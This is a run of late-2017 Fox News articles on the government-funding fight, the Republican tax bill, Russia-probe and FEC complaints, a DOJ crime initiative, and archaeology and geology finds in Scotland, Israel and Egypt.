Boehner  then the House minority leader  characterized TARP as a crap sandwich. It was an offensive, unappetizing piece of legislation. Yet Boehner said hed back it.

The pickings are slim in the legislative delicatessen this week. No pastrami on rye. No croque-monsieur. No piping hot patty melts.

If congressional Republicans avoid a government shutdown this week, they may very well have to heed the advice of a legislative gourmand like John Boehner. A crap sandwich may be the best blue plate special they can do.

Order up!

The government is funded through 11:59:59 p.m. Friday. Congressional Republicans will likely move their tax reform package through both the House and Senate Tuesday. Yet Republicans risk corrupting that message if the government runs out of money Friday night, colliding with Christmas.

One knowledgeable GOP source told Fox News that no Republican wanted any part of a government shutdown, lest that sully their holiday tax reform narrative.

But you never know, said the source. We can always screw this up.

'There seems to be no fallback position.'  Rep. Adam Smith, D-Wash.

When asked about the plan to avoid a government shutdown, one senior House Republican source conceded I really wish I knew. Its all up in the air.

This is why a Christmastime shutdown remains a possibility. Theyre running out of track.

There seems to be no fallback position, said Rep. Adam Smith, D-Wash., the top Democrat on the House Armed Services Committee. It is a complete mess.

Dont expect any action right away.

Nothing serious will happen until we get tax reform done, said one congressional source.

House Republicans are preparing a temporary spending bill to avoid a government shutdown. It would fund all areas of the federal government at current levels through mid-January. The plan would bust mandatory spending caps imposed on the Pentagon called sequestration. The House Republican gambit would fund the military through Sept. 30. Bolstering defense spending would court defense hawks to vote yes on the measure.

But there are a lot of skeptics on the other side of Capitol Hill.

That dog isnt going to hunt in the Senate, observed Sen. John Kennedy, R-La.

Youre not going to increase defense spending without increasing non-defense spending, said Sen. Lindsey Graham R-S.C.

If the House approves its plan and sends it across the Capitol, senators will likely strip the defense provision and attach other provisions which can pass that body. One possibility is a restoration of cost-sharing reduction (CSR) payments to assist lower-income people with health care. President Trump canceled the payments in October. Senate Health Committee Chairman Lamar Alexander, R-Tenn., and the top Democrat on the panel, Sen. Patty Murray, D-Wash., authored a new CSR plan.

But an exasperated Murray threw up her hands when asked if CSRs would wind up on the interim spending plan.

Im asking the Republicans and they dont know, said Murray.

Sen. Susan Collins, R-Maine, announced her support for the tax bill, which repeals ObamaCares mandate that individuals purchase health coverage. CSR assistance is imperative to Collins.

I have always believed that Alexander/Murray (the bipartisan CSR plan) would be addressed at the end of the day, said Collins.

But House conservatives may balk if the Senate attaches that provision to the bill.

The House Appropriations Committee released its third emergency spending bill to cover the cost of hurricanes and wildfires late Monday to the tune of $81 billion. Congress has already coughed up $52 billion in disaster relief. Congressional leaders could persuade bipartisan lawmakers to support an overall spending plan if the supplemental disaster assistance is merged with the temporary bill government funding bill. That strategy could lure lawmakers from hurricane devastated states like Florida and Texas. Theyve now heaped relief for those stricken by wildfires onto the package, too. That will lure California lawmakers to vote yes.

Lawmakers of both parties want to help those in need. But theyll wince at such an eye-popping price tag.

Congressional Democrats contend Republicans havent really consulted with them about what they would need to vote for an interim spending plan. House Democrats arent expected to vote yes on anything  unless Republicans cant approve a bill on their own and come on bended knee. Many Democrats would require Republicans to latch a permanent fix to the Obama-era DACA program to the spending package. Hooking DACA to a spending bill to attract Democratic votes doesnt appear to be in the cards  yet.

Its a red line for Sen. Kennedy.

I will vote to shut down the government if they try to stuff something in the bill that shouldn't be there, said Kennedy. If they wanted to add immigration -- such as DACA -- I wouldn't vote for the bill.

The government closes if conservatives dig in or go to the mat with the Senate. Republicans could then snatch defeat from the jaws of victory, trampling all over their tax reform win.

This is why House Republicans may have to accept a crap sandwich if they want to avoid a government shutdown  in this case, a stopgap spending bill which no one wants but Congress may have to eat.

Capitol Attitude is a weekly column written by members of the Fox News Capitol Hill team. Their articles take you inside the halls of Congress, and cover the spectrum of policy issues being introduced, debated and voted on there.
WASHINGTON-- The Senate intelligence committee has asked for documents from former presidential candidate Jill Stein as part of its probe into Russian interference in the 2016 election, adding another new thread to the panel's investigation as it heads into 2018.

Stein said in a statement overnight Tuesday that she was cooperating with the probe and is providing documents to the committee. She has captured the interest of investigators partly because she attended a 2015 dinner sponsored by Russian television network RT with Russian President Vladimir Putin.

The Senate intelligence committee chairman, Richard Burr, R-N.C., appeared to confirm the investigation's new focus on Stein Monday evening. Asked what the committee wanted to know about from Stein's campaign, Burr responded: "collusion with the Russians."

The request to Stein is more evidence that the Senate panel will still have much work to do in 2018. While the investigation has largely focused on both the Russian interference and whether it was in any way connected to President Donald Trump's campaign, investigators are following multiple leads.

The top Democrat on the panel, Virginia Sen. Mark Warner, would not confirm the investigation into Stein but noted on Tuesday that she was at what he called the "infamous dinner" with Putin. Michael Flynn, who later became Trump's national security adviser, also attended the 2015 dinner in Moscow. He is cooperating with special counsel Robert Mueller's probe into the Russian meddling and has pleaded guilty to a count of making false statements to FBI agents.

Warner also said Stein had said complimentary things about Julian Assange, the founder of WikiLeaks, who Warner said "clearly was being used by the Russians to take some of the hacked information and release into our political system."

WikiLeaks released stolen emails from several Democratic officials during the campaign. Assange denies receiving the material from Russia.

Stein ran against Trump and Democrat Hillary Clinton as a member of the Green Party and received about 1 percent of the vote. She said in the statement Tuesday the documents show that she "made the trip with the goal of reaching an international audience and Russian officials with a message of Middle East peace, diplomacy and cooperation against the urgent threat of climate change, consistent with long-standing Green principles and policies."

As the Senate investigation continues, the House intelligence committee is working to wrap up its own probe into the meddling early next year. Investigators are interviewing multiple people this week in hopes that they will finish most of that work before the end of the year. A final report -- or two final reports, if Democrats decide to write their own -- could come in early 2018.

The House intelligence committee is interviewing FBI Deputy Director Andrew McCabe on Tuesday as Republicans have charged political bias among the ranks of the FBI. They have focused on hundreds of text messages between an FBI counterintelligence agent and an FBI lawyer that show the officials using words like "idiot" and "loathsome human" to characterize Trump as he was running for president in 2016.

Peter Strzok, a veteran FBI counterintelligence agent, was removed from Mueller's team over the summer following the discovery of the text messages exchanged with Lisa Page, an FBI lawyer who was also detailed to the group of agents and prosecutors investigating potential coordination between Russia and Trump's Republican campaign.
A new legal complaint filed with the Federal Election Commission alleges that the Hillary Clinton campaign and the Democratic National Committee used state chapters as strawmen to circumvent campaign donation limits and laundered the money back to her campaign.

The Committee to Defend the President, a political action committee, filed its complaint with the FEC on Monday with the allegations that the Hillary Victory Fund (HVF) solicited cash from big-name donors, including Calvin Klein and Family Guy creator Seth MacFarlane -- money that was allegedly sent through state chapters and back to the DNC before ending up with the Clinton campaign.

Officials with the committee said their filing was spurred by their own analysis of FEC reports, where they said they discovered the HVF either never transferred the money to state chapters and back to the DNC, or did so without the state chapters having actual control.

What we have found, people need to see, Ted Harvey, chairman of the CDP which emerged from the now-defunct Stop Hillary PAC, told Fox News. I think its important that the American public has an understanding of how corrupt this campaign system was and that they were doing anything they could to secure the nomination in her favor.

In its complaint, the CDP alleges that about $84 million was funneled illegally from the DNC through state party chapters and back into the war chest of the Clinton campaign.

Apparently the DNCs response to the [Supreme Court] ruling was, Hold my Beer.  Committee to Defend the President counsel Dan Backer

Based on publicly available FEC records, repeatedly throughout the 2016 presidential campaign, HVF would purportedly transfer funds to its constituent political committees, which included between 34 and 40 state parties, reads a passage from a copy of the complaint reviewed by Fox News. On the very same day each of these transfers supposedly occurred, or occasionally the very next day, every single one of those state parties purportedly contributed all of those funds to the DNC.

CDP counsel Dan Backer said the scheme was a flagrant violation of a Supreme Court ruling that determined such moves were illegal -- and broke FEC campaign contribution rules which state that an individual can contribute only $2,700 directly to a presidential campaign.

Apparently the DNCs response to the ruling was, Hold my Beer, he said, referring to a phrase from an Internet meme. These donations were specifically earmarked for the DNC and the campaign committee.

Backer continued, Its not entirely clear if they transferred the money to the state parties to begin with, and if they never had control of the money, its not a contribution. Its an earmark. If the money is in control of the candidate, then it is a contribution to them.

Backer reiterated a point from the complaint -- that the Supreme Court first recognized these practices were illegal when it ruled in a 2014 case involving Shaun McCutcheon, a businessman and electrical engineer from suburban Birmingham, Ala., who created the Conservative Action Fund PAC. McCutcheon filed suit against the FEC challenging federal campaign contribution limits. It was Backer who assisted in filing the suit.

This is exactly the scenario that they said would occur, Backer says. They were so brazen about it yet so sloppy.

The new complaint filed against the FEC said previous reports showed a series of transactions in which the HVF disbursed contributions to its state party committee members -- and they would receive the funds on the same day. The HVF would also allegedly disburse funds to up to 40 state parties at the same time, and those parties would send the money back within 24 hours.

It appears virtually every single disbursement from HVF to a state party resulted in an immediate transfer of the same amount of funds from the state party to the DNC, reads another passage from the complaint. Over 99% of funds transferred through HVF to state parties wound up at the DNC.

Officials for the DNC did not return requests for comment when contacted by Fox News.

The allegations seem to echo claims by former DNC chair Donna Brazile while promoting her book earlier this year.

In her 2017 book Hacks, Brazile recounts how she saw the money being moved.

Individuals who had maxed out their $2,700 contribution limit to the campaign could write an additional check for $353,400 to the Hillary Victory Fundthat figure represented $10,000 to each of the 32 states parties who were part of the Victory Fund agreement$320,000and $33,400 to the DNC, reads a passage from the book. The money would be deposited in the states first, and transferred to the DNC shortly after that. Money in the battleground states usually stayed in that state, but all the other states funneled that money directly to the DNC, which quickly transferred the money to [Clinton campaign headquarters in] Brooklyn.

Brazile took issue with this, saying that it signified the victory fund was going to Clinton before she received the nomination.

A DNC statement issued last month in response to her claims said: "Joint fundraising committees were created ... in attempt to raise the general election funds needed to win in 2016. Clinton was the only candidate who raised money for the party through her joint fundraising committee with the DNC, which would benefit any candidate coming out of the presidential primary process."

Backer says the committee hopes its findings will spur campaign finance reform and an investigation by the Department of Justice.

Its really cut and dry, he says, but it shouldnt matter that it was Hillary Clinton and the DNC that did this. The law was broken. It doesnt matter who did it.
The House on Tuesday approved a massive tax overhaul that would usher in steep rate cuts for American companies, double the deduction millions of families claim on their annual returns and make a host of other changes as part of the biggest rewrite of the tax code since the Reagan administration.

The bill passed on a 227-203 vote, with 12 Republicans defecting to join Democrats in opposition. The Senate started debate shortly afterward, with a vote expected overnight.

Due to a parliamentary glitch, however, the House will likely have to vote one last time before the legislation can be signed. Three provisions in the House version violated Senate budget rules, so they will have to be stripped before a final House vote on Wednesday.

Ahead of the vote, Senate Majority Leader Mitch McConnell predicted in an interview on Fox News that the bill would be approved by both houses and President Trump would sign it into law soon.

"It's going to pass and he will sign it in all likelihood this week," McConnell said Tuesday evening on "Special Report with Bret Baier."

The $1.5 trillion package, presuming it clears Congress in the end, would hand Trump his first major legislative victory just days before years end and the congressional recess.

Today, we are giving the people of this country their money back, House Speaker Paul Ryan, R-Wis., declared Tuesday on the House floor.

At an earlier news conference, Ryan said that families at every income level get a tax cut, vowing that a family of four making the median income would see a tax cut worth over $2,000.

WHAT THE TAX BILL MEANS FOR YOU

'Today, we are giving the people of this country their money back.'  House Speaker Paul Ryan

This is real relief, and people are going to see this in their paychecks before too long, Ryan said. He added that "this is the greatest example of a promise being made and a promise being kept.

Democrats sustained their vocal opposition to the bill  theyve dubbed it a scam benefiting the wealthy  into the final moments before the vote. And protesters were escorted out after shouting out during Ryan's floor speech, Youre lying!

Ryan, Trump and other supporters have countered the criticism by claiming the bill would unleash economic growth. The speaker led a round of applause on the House floor minutes before the vote, while thanking architect Rep. Kevin Brady, R-Texas, chairman of the Ways and Means Committee.

The floor action comes after GOP leaders worked to win support from the last remaining holdouts on the Senate side. Sens. Marco Rubio of Florida and Bob Corker of Tennessee backed the bill last week, while Susan Collins of Maine and Mike Lee of Utah endorsed it late Monday.

Barring any unexpected reversals, the bill is expected to narrowly pass the Senate in a matter of hours.

Passage would give Trump a major victory on the domestic front, after repeated attempts to overhaul Obamacare failed in the face of internal Republican divisions and unified Democratic opposition. The tax bill does include one major rollback of the Affordable Care Act, repealing the individual mandate requiring Americans to buy health insurance.

The changes to the tax system are more sweeping.

The final bill  a combination of previously passed House and Senate legislation  would slash the corporate tax rate from 35 percent to 21 percent. It would double the standard deduction used by about two-thirds of U.S. households, to $24,000 for married couples. And the $1,000-per-child tax credit would double to $2,000, with up to $1,400 available in IRS refunds for families who owe little or no taxes.

The corporate tax cut would be permanent, while the tax cuts for individuals would expire in 2026.

The Trump administration presumes that the doubling of the standard deduction would lead to even more families claiming it.

But those who itemize would lose some deductions.

The bill would set a new $10,000 cap on the deduction that millions use in connection with state and local income, property and sales taxes. The cap remains in the final bill. It also would cap the mortgage interest deduction at $750,000, down from $1 million.

At the same time, the bill would lower the top rate for individual and married filers from 39.6 percent to 37 percent. Further, it would set a deduction for pass-through business income at 20 percent. And it would curb the so-called estate tax.

These provisions and others fueled Democratic complaints that the legislation was skewed to favor corporations and the wealthy  while expanding the deficit.

On the House floor, Rep. Terri Sewell, D-Ala., mocked Republicans who say passage of the bill would be a Christmas gift to the American people.

I have never seen such intellectual dishonesty, Sewell said Tuesday afternoon. Its more like the Grinch that stole Christmas.

Sewell said recent elections, where Democrats won races in New Jersey, Virginia and Alabama, show that voters dont want the tax bill to move forward.

But here we are, watching the fiscal hawks of the Republican Party blow through every red light on the way off the cliff, adding $1.5 trillion to the deficit, she said.

House Minority Leader Nancy Pelosi, D-Calif., spoke in front of a giant sign that read, #GOPTAXSCAM.

The bill would bring average initial tax cuts for Americans across all income lines, but by 2027, it would boost average levies for everyone earning up to $75,000, which includes most taxpayers, Congress' nonpartisan tax analysts estimated Monday.

A separate study by the Tax Policy Center, a private nonpartisan group, found that individual taxes would be reduced on average next year by $1,600. That ranged, on average, from $60 for people earning below $25,000 to $7,640 for those making above $149,000. Those in the top 1 percent, earning over $733,000, would see average tax cuts of $51,140.

Fox News Alex Pappas and The Associated Press contributed to this report.
U.S. Attorney General Jeff Sessions on Tuesday announced the Trump administrations newest strategy to make America safe again: two task forces that will focus on violent crime.

The groups, which will include federal and local agencies, will operate out of North Carolina and Pennsylvania.

Violent crime has been increasing here in America and in Charlotteand that is deeply troubling, Sessions said. In Pittsburgh, its even higher.

The announcement comes after more than 80 United Blood Nation gang members were indicted earlier this year as a part of a multi-state crackdown on gangs.

This operationwith more than 600 federal, state, and local law enforcement officers involvedserves as a wonderful example of what we can achieve we work together, Sessions said.

The FBI estimates the number of violent crimes has increased over the past two years by 4.1 percent, leading to more than 10.7 million arrests in 2016.

The new task forces will partner with the FBI and will focus on crimes like extortion, car-jacking, kidnapping and bank robberies.

Sessions said he will not accept a rise in violent crime.

Plain and simple, we will not allow the progress made by our women and men in blue over the past two decades to simply slip through our fingers now. We will not cede a community, a block, or a street corner to violent thugs or poison peddlers, the former Alabama senator said.

Sessions did not say when the violent crime task forces will begin operating.
A pregnant immigrant teenager detained by the federal government should be blocked from having an abortion, the Trump administration said Monday in a request to the U.S. Supreme Court.

The request came hours after a federal judge ordered the Trump administration to allow that teen and another teen to undergo abortions as soon as Tuesday evening, Politico reported.

Both girls are 17 years old. The Trump administration wants to block the teen who is 10 weeks pregnant from having an abortion.

But administration lawyers have said they would allow the second teen, who is 22 weeks pregnant, to abort her pregnancy, the Los Angeles Times reported.

Both teens arrived in the U.S. from Central America as unaccompanied minors and were living in federal shelters, though the locations were not disclosed.

The Justice Department did not provide a detailed explanation for why it acquiesced in one girl's case while appealing to block the other teen from getting an abortion, but cited "differing circumstances, Politico reported.

Both teens are being held in states where 17-year-olds do not require parental or judicial consent to have an abortion, Politico reported.

The American Civil Liberties Union has been representing the girls in court.

The Department of Health and Human Services Administration of Children and Families said the two girls also had the option of returning to their home countries or finding sponsors.

The Associated Press contributed to this report.
Two decades ago, Bill Clinton and his allies launched a fierce attack on Ken Starr, trying to discredit the special prosecutor as he gathered evidence and ultimately got the president to admit to a grand jury that hed had a sexual relationship with Monica Lewinsky.

Starr was out of control, he was a zealot, he was an ex-judge in over his head, he was straying far from his mandate to probe the Whitewater land dealit was a constant state of warfare.

Are we headed toward a similar state of combat between President Trump and Robert Mueller?

Not yet, but things are heating up.

The White House continues to cooperate with the special counsel. Trump told reporters yesterday that hes not considering firing Mueller. But that doesnt fit the narrative, so much of the press continues to warn that he might do so.

Axios puts it this way: The Trump lawyers' strategy is to cooperate with Mueller on the inside game. The outside chorus tries to rough up Mueller, in case his findings are trouble for POTUS.

The New York Times says that as the investigation has reached deeper into Mr. Trumps inner circle, that image of cooperation has begun to fracture. Mr. Trumps lawyers and supporters have significantly increased their attacks on Mr. Mueller, especially as the F.B.I. has handed them fresh ammunition to claim that the agents investigating the president may be biased.

Theres no question that Muellers investigation has taken some hits. The disclosure that FBI intelligence agent Peter Strzok had texted agent Lisa Page during their affair with all kinds of anti-Trump vitriol (and Hillary praise) has been damaging. But its also true that Mueller found this out and removed Strzok last summer.

The Trump transition team is crying foul that Mueller obtained its internal records from the GSA. But such records were always going to be fair game and Mueller could have subpoenaed them.

Some liberals and media rivals are accusing Fox News of leading the charge against Mueller. Jesse Watters, co-host of The Five, looked at the Strzok situation on his Saturday night show and said, We may now have proof the investigation was weaponized to destroy his presidency for partisan political purposes and to disenfranchise millions of American voters. Now, if thats true, we have a coup on our hands in America.

Jeanine Pirro, who also hosts a Fox weekend show, has slammed the FBI and Justice Department and said there is a criminal cabal whose members think they know better than we who our president should be.

But Watters, Pirro and others at Fox who have taken shots at Mueller are commentators. They are paid for their opinions. They are not part of the news division. I dont see anything remotely resembling a coup. There is not a monolithic viewpoint at Fox, any more than everyone at MSNBC agrees with Rachel Maddow or everyone at CNN agrees with Don Lemon.

The Times, in an editorial titled Fox News v. Robert Mueller, failed to make this distinction. After quoting Sean Hannity and Pirro, the editorial said some Republicans and Trump allies stepped up their criticism of Mueller after an article of Fox News website about a top Justice Department officials wife and her work for Fusion GPS, the research firm behind the so-called Steele dossier.

That was a news story by chief Washington correspondent James Rosen. And the Times failed to note that DOJ had demoted the official, Bruce Ohr, who had secretly met with dossier author Christopher Steele (and was to be interviewed by the Senate intelligence committee). This was cast by the editorial as another piece of propaganda rather than a legitimate scoop.

Unlike Starr, Mueller is a veteran prosecutor who ran the FBIand was considered by Trump to head the bureau again. He is a Republican who served in George W. Bushs Justice Department. And Trumps deputy attorney general, Rod Rosenstein, testified last week that Mueller is doing a good job.

Mueller, who has so far brought criminal charges against Trumps former campaign manager and former national security adviser, certainly shouldnt be immune to criticism. But the presidents allies should also be cautious about inflammatory language in going after the special counsel.
President Trump on Tuesday predicted the already-humming U.S. economy is about to get a big boost, as the final version of the $1.5 trillion Republican tax bill heads to the floors of the House and the Senate.

Stocks and the economy have a long way to go after the Tax Cut Bill is totally understood and appreciated in scope and size, Trump tweeted. Immediate expensing will have a big impact. Biggest Tax Cuts and Reform EVER passed. Enjoy, and create many beautiful JOBS!

The bill, which Trump hopes to have on his desk in a matter of hours in order to deliver a giant tax cut for Christmas, could pass Tuesday. It would mark the first major legislative win of Trumps presidency.

Its a huge deal, but not just for the White House. Its a huge deal for America, White House Press Secretary Sarah Sanders said on Fox & Friends Tuesday morning, claiming middle-class Americans are going to see the benefit out of this tax package.

The fact that we have been pushing this tax cut package, this tax reform package  youre really seeing that reflecting in our economy  our booming economy. Optimism is up, Sanders said.

As of Monday, Senate Republicans had garnered just enough support for the bill to pass  flipping both Sens. Susan Collins, R-Maine, and Mike Lee, R-Utah, to yes votes.

The first major overhaul of our tax code since 1986, this legislation will provide tax relief to working families, encourage the creation of jobs right here in America and spur economic growth that will benefit all Americans, Collins said on the Senate floor Monday.

Only one member of the Senate GOP is not yet on board  Sen. Jeff Flake of Arizona, who said he was still looking at the bill, still reading the bill, still working on some other issues.

Sen. John McCain, R-Ariz., will not be present for Tuesdays vote, as he has returned to his home state for rehabilitation as he battles brain cancer.

Republicans will have to garner a simple majority of the 99 senators present for the vote.

On the House side, Republicans can only lose 22 votes to still approve the bill.

This week, a dozen Republican lawmakers switched from no to yes votes -- primarily from high-tax states like New York, New Jersey and California. Twelve of them voted against the House tax bill last month, which passed 227-205, due to the $10,000 cap on the state and local property taxes. That cap, which is important to taxpayers in high-tax states, remains in the final bill.

Rep. Peter King, R-N.Y., said he would vote no on the final bill, saying his constituents were unsatisfied.

Its certainly unpopular in my district, King said.

Democrats in both chambers, however, have a laundry list of criticisms over the bill, after the caucus was excluded from closed-door drafting sessions. Democrats continue to slam the legislation as favoring big corporations and wealthy Americans, and hurting middle-class Americans.

This is a president who has said many times before he is willing to work with Democrats, he wants to work with Democrats, Sanders said Tuesday, noting that Democratic Sens. Dick Durbin and Joe Manchin, among others, were at the White House Monday evening. This is a president that would be certainly happy to have their vote.

Sanders noted that more money for Americans in their pockets should not be something Democrats need to be begged to be a part of.

The final bill is a combination of elements from both the House and Senate bills that were recently passed. The bill cuts the corporate tax rate from 35 percent to 21 percent. The bill doubles the standard deduction used by about two-thirds of U.S. households, to $24,000 for married couples, which would sunset in eight years, along with tax cuts for individualsboth would expire in 2026.

The bill also doubles the per-child tax credit from $1,000 to $2,000 per child, with up to $1,400 available in refunds for families who owe little or no taxes.

The legislation also repeals a paramount part of ObamaCare, removing the requirement that all Americans have health insurance, or face a penalty.

The bill would bring average initial tax cuts for Americans across all income lines, but by 2027, it would boost average levies for everyone earning up to $75,000. Nonpartisan congressional tax analysts, The Jointed Committee on Taxation, calculated that in 2019, people earning $20,000 to $50,000 would see tax cuts averaging 10 percent or more. Those making $200,000 to $1 million would see reductions averaging slightly less.

But by 2023, people making under $30,000 would see tax increases, while those earning more would see their tax cuts get smaller.

But Republican leaders brushed aside negative projections, and Chairman of the House Ways and Means Committee, Rep. Kevin Brady, R-Texas, said thats just cherry-picking the numbers.

People are excited about a stronger economy and bigger paychecks, Brady said.

The bill will hit the House floor first on Tuesday, with a vote expected Tuesday afternoon. The Senate will likely vote on the bill late Tuesday, into early Wednesday.

Fox News' Chad Pergram and Barnini Chakraborty and The Associated Press contributed to this report.
Scientists have discovered alien minerals at the site of a prehistoric meteor strike on Scotlands remote Isle of Skye.

Geologists from Birkbeck, University of London, were part of a team examining volcanic rocks on Skye when they spotted mineral forms from a meteor impact that have never been found on Earth before.

Specifically, the team found osbornite, which had previously been collected as space dust on a NASA mission. Initially, the scientists thought that they were looking at a volcanic flow deposit called ignimbrite but when they used an electron microprobe they found the rare space material.

POLICE DASHCAM CAPTURES STUNNING FOOTAGE OF FIREBALL STREAKING ACROSS THE SKY

"When we discovered what it was we were very surprised, and it was a bit of a shock because we were not expecting that," explained Dr. Andy Beard, a lecturer at Birkbecks Department of Earth and Planetary Sciences, in a statement.

The researchers were examining the base of a 60-million-year-old lava flow when they discovered the osbornite. Because the mineral form was unmelted, it is likely to be an original piece of the meteorite, according to the geologists.

The area where the discovery was made is steep and very boggy, which may have deterred previous researchers from exploring the site, according to Dr. Simon Drake, associate lecturer at the Department of Earth and Planetary Sciences. We were sinking in up to our thighs. I distinctly recall saying to Andy Beard, this had better be worth it. It was worth it, he said, in the statement.

SCIENTISTS 'GOOGLED' DATA FROM NASA'S KEPLER SPACE TELESCOPE TO DISCOVER NEW PLANET

Experts say that the find raises questions about where the meteorite hit and whether its impact triggered an outpouring of volcanic lava that started at the same time.

A second site 4.3 miles away also revealed the same unusual mineral makeup in what is known as ejecta  material ejected from a crater.

The scientists findings have been published in the journal GeoScienceWorld.

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As the Jewish holiday of Hanukkah comes to a close, the discovery of an ancient tomb door with a stunning menorah carving is providing a fascinating glimpse into Israels rich history.

The basalt tomb door, which is undergoing preservation work, was recently put on display by the Institute of Archaeology at Hebrew University, in Jerusalem.

The door was discovered in Tiberias in Israels Galilee region in 2010 by archaeologists from the University, but was only revealed to the public a few weeks ago, said Dr. Katia Cytryn-Silverman, senior lecturer at Hebrew Universitys Institute of Archaeology and Department of Islamic and Middle East Studies.

AMAZING WESTERN WALL DISCOVERY: NEW SECTION, ANCIENT THEATER, UNCOVERED IN JERUSALEM

Cytryn-Silverman, who leads the ongoing Tiberias excavation project, explained that the door attracted plenty of attention when it went on display.

As this happened toward the Jewish Holiday of Hanukkah  which celebrates the liberation and the rededication of the Second Temple by the Maccabeans (second century BCE) and the miracle of the lasting oil, which burned in the Temple's menorah for eight days  we decided to bring the finding to public knowledge, as a good wish for Hannukah and for the Holiday Season, she told Fox News, via email.

The tomb door is ornamented with a depiction of the seven-branched menorah that stood in the ancient Jewish Temple, one of the key symbols of Judaism. (A nine-branched menorah is lit to celebrate Hanukkah, which this year started on Dec. 12 and will end on Dec. 20.)

The artifact also serves as a reminder of Israels multicultural heritage, Cytryn-Silverman said.

RARE FIND AT KING SOLOMON'S MINES: ANCIENT PREGNANT WOMAN'S REMAINS

Likely part of a Jewish tomb from the second to fourth centuries, the door was discovered during the excavation of a former mosque and sugar works dating back to the seventh century.

We found that the top step of a stairway leading to a small room was actually a portion of a basalt Jewish-tomb door, Cytryn-Silverman explained.

Such tomb doors, probably originating from the Jewish cemetery to the north of the classical city [of Tiberias], had already been brought to this area during the early eighth century, when the Umayyads transformed the simple mosque of the seventh century into a monumental mosque, Cytryn-Silverman explained.

The slab was used as the base for a pillar within the mosque, she added.

At its height, in the eighth century, the Umayyad Caliphate stretched across a vast swathe of the Middle East, North Africa and Spain.

The tomb doors colorful history, however, did not end there. The mosque was destroyed by an earthquake in 1068 and subsequently abandoned. But then, during the Crusader era, the site became part of a complex devoted to sugar production.

Cytryn-Silverman cites a twelfth-century sugar delivery request from Knights Hospitaller in Jerusalem to their facilities in Tiberias and Mount Pelerin, Lebanon.

DRONE FINDS MYSTERIOUS ANCIENT STRUCTURE AT ISRAELI MILITARY TRAINING GROUND

The sites use ended when the building collapsed at the start of the thirteenth century.

Cytryn-Silverman told Fox News there are still plenty of questions to be answered about the door. The fact that this is the one chosen for a top step is also challenging for our modern mind: was this a positive or negative appropriation of the menorah? she said. Were they stepping on purpose? Did the room serve a special function? Were the inhabitants of the house actually aware of its importance? Was this just a beautiful ornamented piece?

While these questions are still hard to answer, the very use [of the door] at this place, and our eventual exposure, revived its long trajectory, going from Jewish hands, to Muslim, and then to Christian owners.

The tomb seal is one of a host of fascinating archaeological finds in Israel in recent months. Archaeologists, for example, recently used a drone to locate a mysterious ancient structure in the heart of an Israeli military training area.

INCREDIBLE 1500-YEAR-OLD CHRISTIAN MOSAIC UNCOVERED IN ISRAEL

Last month, new evidence dated Christs tomb in Jerusalems Church of the Holy Sepulchre to the Roman era, matching historical records.

Archaeologists also recently uncovered a stunning 1,500-year-old Christian mosaic in the ancient Mediterranean coastal city of Ashdod-Yam, now part of the modern city of Ashdod.

Other finds include the skeleton of a pregnant woman, dating back 3,200 years, in Israels Timna Valley, at a place once called King Solomons Mines.

LOST ROMAN CITY THAT WAS HOME TO JESUS' APOSTLES FOUND, SAY ARCHAEOLOGISTS

In October, archaeologists in Jerusalem announced that they have uncovered a new section of the Western Wall that has been hidden for 1,700 years.

Some experts also believe they have found the lost Roman city of Julias, formerly the village of Bethsaida, which was the home of Jesus' apostles Peter, Andrew and Philip.

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Archaeologists have uncovered the graves of four children at an ancient site in Egypt.

A Swedish-Egyptian team working at the Gebel el Silsila site uncovered four child burials dating back to the Thutmosid period more than 3,000 years ago. The discoveries, which were announced recently, were made earlier this year.

In a Facebook post, Dr. Mostafa Waziri, secretary general of Egypts Supreme Council of Antiquities explained that the remains of a child aged between two and three years old was found in a rock-hewn grave at the site. The mummy, he explained, still retains its linen wrapping and is surrounded by some organic material from the remains of a wooden coffin.

TROVE OF STATUES DEPICTING LIONESS GODDESS DISCOVERED IN EGYPT

The remains of a child aged between six and nine years old were also found inside a wooden coffin, while another grave contained the remains of a child aged between five and eight. Both children were buried with funerary furniture, according to Waziri, including amulets and a set of pottery.

The archaeologists will conduct more research on the burials, Waziri wrote.

The fourth burial is for a child between the ages of five and eight years too, and it is not clear exactly the cause of his death, he added.

Archaeologists are particularly intrigued by the graves containing funerary items, known as ST63 and ST64. The child burials ST63-64 are the first of their kind found at Gebel el Silsila, in the fact that both were preserved with complete funerary goods, explained Dr. Maria Nilsson and John Ward, director and assistant director, respectively of the Gebel el Silsila project. It allows an insight into both material culture as well as funerary customs and religious beliefs, but even more so provides us with socio-political information and the social status of those entombed.

ANCIENT ROMAN SHIPWRECKS, STUNNING ARTIFACTS, DISCOVERED NEAR EGYPTIAN PORT

Nilson and Ward, who both work in the Department of Archaeology and Ancient History at Lund University in Sweden, said that the graves let archaeologists study completely preserved burials. While this can provide insight into the general health of those buried, it can also shed light on other aspects of their lives. At Gebel el Silsila, theres a strong indication of the existence and activity of complete families on site, supporting the teams previous hypothesis of a well-functioning society on site in contrast with only quarry activities, explained Nilsson and Ward.

The discovery also brings the archaeologists closer to finding the ancient village of Kheny, as Gebel el Silsila was known in ancient times.

Since they began excavating the site in 2015, the Swedish-led team has found a total of 69 tombs at Gebel el Silsila, almost 30 of which have been excavated. With the exception of two infant burials from an earlier excavation and the four graves found this year, archaeologists found that all the excavated tombs were plundered in antiquity.

TOMB OF KING TUT'S WIFE DISCOVERED? EXPERTS EXCITED BY FIND IN EGYPT

Live Science reports that the Thutmosid period ran from the start of Pharoah Thutmose IIs reign in about 1493 B.C. to the end of Amenhotep IIs reign in about 1401 B.C.

The finds are just the latest fascinating archaeological finds in Egypt, which include the recent discovery of a trove of black granite statues depicting the lioness goddess Sekhmet.

Last month, archaeologists also announced the discovery of three Roman-era shipwrecks and stunning ancient artifacts on the Mediterranean seafloor off the coast of Alexandria.

ANCIENT WORKOUT: ARCHAEOLOGISTS IN EGYPT DISCOVER 2,300-YEAR-OLD GYMNASIUM

Experts also recently unearthed an ancient gymnasium that dates back to the third century B.C. A joint team of German and Egyptian archaeologists made the discovery at Watfa in Fayoum province, about 50 miles southwest of Cairo.

Earlier this month, scientists also announced that they had discovered a mysterious chamber inside Egypts Great Pyramid of Giza.

In September, archaeologists announced the discovery of an ancient temple belonging to King Ramses II. In August, experts revealed that they had unearthed three tombs from an ancient great cemetery in Egypts Nile Valley. A month earlier, archaeologists said that a tomb that may have belonged to the wife of King Tutankhamun had been discovered in Egypts Valley of the Kings.

DESERT DISCOVERY: LOST TEMPLE OF RAMSES II UNCOVERED BY ARCHAEOLOGISTS

In June, archaeologists from Yale and the Royal Museum of Art and History in Belgium announced the discovery of the earliest-known billboard-sized hieroglyphs in the ancient city of Elkab.

